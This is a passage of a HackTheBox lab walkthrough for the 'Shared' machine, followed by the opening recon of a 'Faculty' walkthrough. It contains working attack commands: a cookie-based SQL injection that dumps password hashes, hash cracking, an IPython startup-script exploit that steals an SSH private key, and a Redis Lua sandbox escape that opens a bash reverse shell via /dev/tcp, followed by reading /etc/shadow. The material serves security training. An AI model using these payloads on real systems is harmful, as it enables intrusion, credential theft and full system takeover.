<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> <span class="s1">$'GET'</span> <span class="nt">-b</span> <span class="s1">$'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart={</span><span class="se">\"\'</span><span class="s1"> and 0=1 union select </span><span class="se">\'</span><span class="s1">APPLE</span><span class="se">\'</span><span class="s1">,group_concat(username,password),</span><span class="se">\'</span><span class="s1">CARROT</span><span class="se">\'</span><span class="s1"> from user-- -</span><span class="se">\"</span><span class="s1">:</span><span class="se">\"</span><span class="s1">1</span><span class="se">\"</span><span class="s1">}'</span> <span class="s1">'https://checkout.shared.htb/'</span> | <span class="nb">grep</span> <span class="nt">-A1</span> <span class="s1">'<th scope="row">1</th>'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/td>/,$p'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"[:space:]"</span> | <span class="nb">sed</span> <span class="s1">'s/<td>//'</span> | <span class="nb">sed</span> <span class="s1">'s/<\/td>//'</span>
james_masonfc895d4eddc2fc12f995e18c865cf273
</code></pre></div></div>
<h2 id="johntheripper">JohnTheRipper</h2>
<p>Turns out there is only one. We have it’s username and password hash. Let’s crack the hash using JohnTheRipper:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# <span class="nv">text</span><span class="o">=</span><span class="s2">"james_masonfc895d4eddc2fc12f995e18c865cf273"</span> | <span class="nb">echo</span> <span class="s2">"</span><span class="k">${</span><span class="nv">text</span>:0:11<span class="k">}</span><span class="s2">:</span><span class="k">${</span><span class="nv">text</span>:11<span class="k">}</span><span class="s2">"</span> <span class="o">></span> james.hash
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# john <span class="nt">-wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt <span class="nt">--format</span><span class="o">=</span>Raw-MD5 james.hash
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>Raw-MD5 <span class="o">[</span>MD5 256/256 AVX2 8x3]<span class="o">)</span>
Warning: no OpenMP support <span class="k">for </span>this <span class="nb">hash type</span>, consider <span class="nt">--fork</span><span class="o">=</span>4
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
Soleil101 <span class="o">(</span>james_mason<span class="o">)</span>
1g 0:00:00:01 DONE <span class="o">(</span>2022-07-26 22:29<span class="o">)</span> 0.9090g/s 1900Kp/s 1900Kc/s 1900KC/s Sportster1..SoccerBabe
Use the <span class="s2">"--show --format=Raw-MD5"</span> options to display all of the cracked passwords reliably
Session completed.
</code></pre></div></div>
<h2 id="ssh-as-user-james">SSH As User James</h2>
<p>After only a few seconds we have a password. Now we can login:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# ssh james_mason@shared.htb
james_mason@shared.htbs password:
Linux shared 5.10.0-16-amd64 <span class="c">#1 SMP Debian 5.10.127-1 (2022-06-30) x86_64</span>
The programs included with the Debian GNU/Linux system are free software<span class="p">;</span>
the exact distribution terms <span class="k">for </span>each program are described <span class="k">in </span>the
individual files <span class="k">in</span> /usr/share/doc/<span class="k">*</span>/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 14 14:45:22 2022 from 10.10.14.4
james_mason@shared:~<span class="err">$</span>
</code></pre></div></div>
<p>Initial enumeration doesn’t find a lot. I notice the user is a member of group 1001 called developer, and there’s a folder owned by that group but it’s empty:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:~<span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>james_mason<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>james_mason<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>james_mason<span class="o">)</span>,1001<span class="o">(</span>developer<span class="o">)</span>
james_mason@shared:~<span class="nv">$ </span>find / <span class="nt">-group</span> developer 2>/dev/null
/opt/scripts_review
james_mason@shared:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lsa</span> /opt/scripts_review
4 drwxrwx--- 2 root developer 4096 Jul 14 13:46 <span class="nb">.</span>
4 drwxr-xr-x 3 root root 4096 Jul 14 13:46 ..
</code></pre></div></div>
<h2 id="pspy64">Pspy64</h2>
<p>Just like we have done many times before let’s grab <a href="https://github.com/DominicBreuker/pspy/releases">pspy</a> and have a look at running processes:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
<span class="nt">--2022-07-26</span> 22:35:39-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.4
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
<SNIP>
Resolving objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>... 185.199.110.133, 185.199.111.133...
Connecting to objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 <span class="o">(</span>2.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[<span class="o">======================================>]</span> 2.94M 3.80MB/s <span class="k">in </span>0.8s
2022-07-26 22:35:41 <span class="o">(</span>3.80 MB/s<span class="o">)</span> - ‘pspy64’ saved <span class="o">[</span>3078592/3078592]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# scp pspy64 james_mason@shared.htb:~
james_mason@shared.htbs password:
pspy64 100% 3006KB 2.3MB/s 00:01
</code></pre></div></div>
<p>Back on the box let’s run it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:~<span class="nv">$ </span><span class="nb">chmod</span> +x pspy64
james_mason@shared:~<span class="nv">$ </span>./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events <span class="o">(</span><span class="nv">colored</span><span class="o">=</span><span class="nb">true</span><span class="o">)</span>: <span class="nv">processes</span><span class="o">=</span><span class="nb">true</span> | file-system-events<span class="o">=</span><span class="nb">false</span> <span class="o">||</span>|
Scannning <span class="k">for </span>processes every 100ms and on inotify events <span class="o">||</span>|
Watching directories: <span class="o">[</span>/usr /tmp /etc /home /var /opt] <span class="o">(</span>recursive<span class="o">)</span> | <span class="o">[]</span> <span class="o">(</span>non-recursive<span class="o">)</span>
Draining file system events due to startup...
<span class="k">done
</span>2022/07/26 17:40:05 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>8750 | /usr/bin/redis-server 127.0.0.1:6379
<SNIP>
2022/07/26 17:41:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8793 | /bin/sh <span class="nt">-c</span> /usr/bin/pkill ipython<span class="p">;</span> <span class="nb">cd</span> /opt/scripts_review/ <span class="o">&&</span> /usr/local/bin/ipython
2022/07/26 17:41:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8794 | /usr/bin/pkill ipython
2022/07/26 17:41:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8796 | /usr/bin/python3 /usr/local/bin/ipython
<SNIP>
2022/07/26 17:42:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8815 | /usr/bin/pkill ipython
2022/07/26 17:42:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8814 | /bin/sh <span class="nt">-c</span> /usr/bin/pkill ipython<span class="p">;</span> <span class="nb">cd</span> /opt/scripts_review/ <span class="o">&&</span> /usr/local/bin/ipython
2022/07/26 17:42:01 CMD: <span class="nv">UID</span><span class="o">=</span>1001 <span class="nv">PID</span><span class="o">=</span>8819 | /usr/bin/python3 /usr/local/bin/ipython
</code></pre></div></div>
<p>We can see <a href="https://redis.io/">Redis</a> is running on port 6379 as root. And also every minute a cron job runs as user ID 1001 which kills <a href="https://ipython.org/">ipython</a>, then changes in to the folder we saw before which is owned by James, and then runs ipython again.</p>
<p>Very suspicious, let’s look at UID 1001:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:~<span class="nv">$ </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep </span>bash
root:x:0:0:root:/root:/bin/bash
james_mason:x:1000:1000:james_mason,,,:/home/james_mason:/bin/bash
dan_smith:x:1001:1002::/home/dan_smith:/bin/bash
</code></pre></div></div>
<h2 id="ipython">IPython</h2>
<p>We have another user called dan_smith responsible for killing ipython. Safe to assume that is something important so lets check it out:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:~<span class="nv">$ </span>/usr/local/bin/ipython
Python 3.9.2 <span class="o">(</span>default, Feb 28 2021, 17:03:44<span class="o">)</span>
Type <span class="s1">'copyright'</span>, <span class="s1">'credits'</span> or <span class="s1">'license'</span> <span class="k">for </span>more information
IPython 8.0.0 <span class="nt">--</span> An enhanced Interactive Python. Type <span class="s1">'?'</span> <span class="k">for </span>help.
In <span class="o">[</span>1]:
</code></pre></div></div>
<p>A search for <strong>ipython 8 exploit</strong> finds <a href="https://snyk.io/vuln/pip:ipython@8.0.0">this</a> synk.io article, we leads us to a commit on GitHub <a href="https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668">here</a> which gives us CVE-2022-21699. This took me to RedHat <a href="https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2022-21699">here</a> and finally on to the advisory on GitHub <a href="https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x">here</a> where we see an arbitrary code execution vulnerability.</p>
<h2 id="cve-2022-21699">CVE-2022-21699</h2>
<p>We can use this to execute commands as Dan when the cron job starts IPython from the current working directory that James owns by putting a script in the public_default/startup folder.</p>
<p>As per the advisory create the profile_default folder, and then startup folder inside it. Change permission to allow full access to everyone:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">mkdir</span> /opt/scripts_review/profile_default /opt/scripts_review/profile_default/startup<span class="p">;</span> <span class="nb">chmod </span>777 /opt/scripts_review/profile_default /opt/scripts_review/profile_default/startup
</code></pre></div></div>
<p>Now we can create a Python script that will be run when IPython starts:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"import os; os.system('cp /home/dan_smith/.ssh/id_rsa /dev/shm/id_rsa')"</span> <span class="o">></span> /opt/scripts_review/profile_default/startup/pencer.py
</code></pre></div></div>
<p>Here we are just copying the SSH private key for Dan out to the /dev/shm folder. Check the script is there:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">ls </span>profile_default/startup/
pencer.py
james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">ls </span>profile_default/startup/
<span class="nb">ls</span>: cannot access <span class="s1">'profile_default/startup/'</span>: No such file or directory
</code></pre></div></div>
<p>It was there, then the cleanup script ran to remove my extra folders and file. However IPython has already been restarted so I have the id_rsa file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">ls</span> /dev/shm
id_rsa
james_mason@shared:/opt/scripts_review<span class="nv">$ </span><span class="nb">cat</span> /dev/shm/id_rsa
<span class="nt">-----BEGIN</span> OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvWFkzEQw9usImnZ7ZAzefm34r+54C9vbjymNl4pwxNJPaNSHbdWO
<SNIP>
HPDeHZn0yt8fTeFAm+Ny4+8+dLXMlZM5quPoa0zBbxzMZWpSI9E6j6rPWs2sJmBBEKVLQs
<span class="nv">tfJMvuTgb3NhHvUwAAAAtyb290QHNoYXJlZAECAwQFBg</span><span class="o">==</span>
<span class="nt">-----END</span> OPENSSH PRIVATE KEY-----
</code></pre></div></div>
<h2 id="ssh-as-user-dan">SSH As User Dan</h2>
<p>Copy that to a file on Kali. Don’t forget to chmod 600 it then log in as Dan and get the user flag:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/shared]
└─# ssh <span class="nt">-i</span> id_rsa dan_smith@shared.htb
Linux shared 5.10.0-16-amd64 <span class="c">#1 SMP Debian 5.10.127-1 (2022-06-30) x86_64</span>
Last login: Thu Jul 14 14:43:34 2022 from 10.10.14.4
dan_smith@shared:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
63e742f18482b60b5faf64cc56b6cd34
</code></pre></div></div>
<p>If we look at our group membership we see we’re in developer same as James, and also sysadmin. Let’s see what those groups can access:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:~<span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1001<span class="o">(</span>dan_smith<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1002<span class="o">(</span>dan_smith<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1002<span class="o">(</span>dan_smith<span class="o">)</span>,1001<span class="o">(</span>developer<span class="o">)</span>,1003<span class="o">(</span>sysadmin<span class="o">)</span>
dan_smith@shared:~<span class="nv">$ </span>find / <span class="nt">-group</span> developer 2>/dev/null
/opt/scripts_review
dan_smith@shared:~<span class="nv">$ </span>find / <span class="nt">-group</span> sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
</code></pre></div></div>
<h2 id="redis">Redis</h2>
<p>We saw earlier in pspy that Redis is running on the box. We can confirm it’s accessible internally only:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:~<span class="nv">$ </span>netstat <span class="nt">-punta</span> | <span class="nb">grep </span>6379
tcp 0 0 127.0.0.1:6379 0.0.0.0:<span class="k">*</span> LISTEN -
</code></pre></div></div>
<p>Let’s look at the binary we have access to:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:~<span class="nv">$ </span>/usr/local/bin/redis_connector_dev
<span class="o">[</span>+] Logging to redis instance using password...
INFO <span class="nb">command </span>result:
<span class="c"># Server</span>
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:13464
run_id:7965d680d06f2ad5fc6df355392e87ead01b635f
tcp_port:6379
uptime_in_seconds:38
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:14763217
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
<nil>
</code></pre></div></div>
<p>The interesting things from this are:</p>
<ol>
<li>Logs in to local Redis instance with a password</li>
<li>Shows its redis_version:6.0.15</li>
<li>Shows path to executable is /usr/bin/redis-server</li>
<li>Shows there’s a config file /etc/redis/redis.conf</li>
</ol>
<p>Checking files we see:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:~<span class="nv">$ </span><span class="nb">cat</span> /etc/redis/redis.conf
<span class="nb">cat</span>: /etc/redis/redis.conf: Permission denied
dan_smith@shared:~<span class="nv">$ </span>/usr/bin/redis-server <span class="nt">--version</span>
Redis server <span class="nv">v</span><span class="o">=</span>6.0.15 <span class="nv">sha</span><span class="o">=</span>00000000:0 <span class="nv">malloc</span><span class="o">=</span>jemalloc-5.2.1 <span class="nv">bits</span><span class="o">=</span>64 <span class="nv">build</span><span class="o">=</span>4610f4c3acf7fb25
</code></pre></div></div>
<p>No access to the config file but confirms version running on server is same as this binary. A search for <strong>redis 6.0.15 exploit</strong> found <a href="https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md">this</a> which gives us CVE-2022-0543. We have a sandbox escape with remote code execution.</p>
<p>The screenshot shows to use redis-cli, which is on the box so we can try:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:/dev/shm<span class="nv">$ </span>redis-cli
127.0.0.1:6379> <span class="nb">help
</span>redis-cli 6.0.15
To get <span class="nb">help </span>about Redis commands <span class="nb">type</span>:
<span class="s2">"help @<group>"</span> to get a list of commands <span class="k">in</span> <group>
<span class="s2">"help <command>"</span> <span class="k">for </span><span class="nb">help </span>on <<span class="nb">command</span><span class="o">></span>
<span class="s2">"help <tab>"</span> to get a list of possible <span class="nb">help </span>topics
<span class="s2">"quit"</span> to <span class="nb">exit
</span>To <span class="nb">set </span>redis-cli preferences:
<span class="s2">":set hints"</span> <span class="nb">enable </span>online hints
<span class="s2">":set nohints"</span> disable online hints
Set your preferences <span class="k">in</span> ~/.redisclirc
127.0.0.1:6379> <span class="nb">eval</span> <span class="s1">'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res'</span> 0
<span class="o">(</span>error<span class="o">)</span> NOAUTH Authentication required.
</code></pre></div></div>
<h2 id="redis_connector_dev-password">Redis_Connector_Dev Password</h2>
<p>We need the password mentioned earlier before we can execute commands. Download the binary to Kali by first starting a web server on the box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:/usr/local/bin<span class="nv">$ </span>python3 <span class="nt">-m</span> http.server 1337
Serving HTTP on 0.0.0.0 port 1337 <span class="o">(</span>http://0.0.0.0:1337/<span class="o">)</span> ...
</code></pre></div></div>
<p>Switch to Kali and pull the file across:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# wget http://shared.htb:1337/redis_connector_dev
<span class="nt">--2022-07-27</span> 15:55:54-- http://shared.htb:1337/redis_connector_dev
Resolving shared.htb <span class="o">(</span>shared.htb<span class="o">)</span>... 10.10.11.172
Connecting to shared.htb <span class="o">(</span>shared.htb<span class="o">)</span>|10.10.11.172|:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5974154 <span class="o">(</span>5.7M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘redis_connector_dev’
redis_connector_dev 100%[<span class="o">===========>]</span> 5.70M 3.98MB/s <span class="k">in </span>1.4s
2022-07-27 15:55:56 <span class="o">(</span>3.98 MB/s<span class="o">)</span> - ‘redis_connector_dev’ saved <span class="o">[</span>5974154/5974154]
</code></pre></div></div>
<p>Start netcat listening on port 6379:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nc <span class="nt">-nlvp</span> 6379
listening on <span class="o">[</span>any] 6379 ...
</code></pre></div></div>
<p>In another terminal make the binary executable and then run it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nb">chmod</span> +x redis_connector_dev
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# ./redis_connector_dev
<span class="o">[</span>+] Logging to redis instance using password...
INFO <span class="nb">command </span>result:
i/o <span class="nb">timeout</span>
</code></pre></div></div>
<p>Back to netcat to see the password is revealed:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nc <span class="nt">-nlvp</span> 6379
listening on <span class="o">[</span>any] 6379 ...
connect to <span class="o">[</span>127.0.0.1] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>127.0.0.1] 49572
<span class="k">*</span>2
<span class="nv">$4</span>
auth
<span class="nv">$16</span>
<span class="nv">F2WHqJUz2WEz</span><span class="o">=</span>Gqq
</code></pre></div></div>
<h2 id="cve-2022-0543">CVE-2022-0543</h2>
<p>Now back to the box and use that password to authenticate to redis using the cli tool:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dan_smith@shared:/usr/local/bin<span class="nv">$ </span>redis-cli <span class="nt">--no-auth-warning</span> <span class="nt">--pass</span> <span class="nv">F2WHqJUz2WEz</span><span class="o">=</span>Gqq
127.0.0.1:6379>
</code></pre></div></div>
<p>Try the example given in the post again:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1:6379> <span class="nb">eval</span> <span class="s1">'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res'</span> 0
<span class="s2">"uid=0(root) gid=0(root) groups=0(root)</span><span class="se">\n</span><span class="s2">"</span>
</code></pre></div></div>
<p>That works, let’s get a reverse shell. Over to Kali and start netcat listening:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
</code></pre></div></div>
<p>Back to the box and change our payload be a standard reverse shell using bash:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1:6379> <span class="nb">eval</span> <span class="s1">'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/bin/bash -c \'</span>bash <span class="nt">-i</span> <span class="o">></span> /dev/tcp/10.10.14.207/1337 0>&1<span class="se">\'</span><span class="s2">", "</span>r<span class="s2">"); local res = f:read("</span><span class="k">*</span>a<span class="s2">"); f:close(); return res' 0
</span></code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Now back to Kali to see we’re connected as root:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
connect to <span class="o">[</span>10.10.14.207] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.172] 45326
<span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</code></pre></div></div>
<p>Let’s get the flag and root hash to complete the box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /root/root.txt
1afb916af1f1a0832b739d76c38cccd7
<span class="nb">cat</span> /etc/shadow | <span class="nb">grep </span>root
root:<span class="nv">$y$j9T$q</span>/qYCzzDEBdZXpRxCa6gL/<span class="nv">$XhNZBD56JUTsCniDDjj6UmwRnBc3A40AcbtqNzVEpJ4</span>:19186:0:99999:7:::
</code></pre></div></div>
<p>That’s another box completed. I hope you learnt something along the way. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Shared is a medium level machine by Nauten on HackTheBox. This Linux box explores using recent publicly disclosed vulnerabilities against a couple of well known applications.Walk-through of Faculty from HackTheBox2023-02-12T00:00:00+00:002023-02-12T00:00:00+00:00https://pencer.io/ctf/ctf-htb-faculty<p><a href="https://www.hackthebox.com/home/machines/profile/480">Faculty</a> is a medium level machine by <a href="https://www.hackthebox.com/home/users/profile/36994">gbyolo</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. This Linux box focuses on vulnerabilities in a web app and software used by it.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-07-17-22-44-34.png" alt="faculty" /></p>
<p>We start with an authentication bypass using SQLi to gain access to a scheduling system. Inside we find an old version of mPDF is in use, which we exploit to achieve local file inclusion and read sensitive files on the box. Eventually this leads us to SSH access as a low level user. A simple RCE allows us to retrieve the SSH private key of another user. Logged in as them we use insecure capabilities applied to gdb to get a root shell.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/480">HTB - Medium - Faculty</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>2nd July 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>20th July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.2 – <a href="https://www.kali.org/blog/kali-linux-2022-2-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.169 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> faculty 10.10.11.169
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-18 23:03 BST
Nmap scan report <span class="k">for </span>10.10.11.169
Host is up <span class="o">(</span>0.031s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 <span class="o">(</span>RSA<span class="o">)</span>
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 <span class="o">(</span>ED25519<span class="o">)</span>
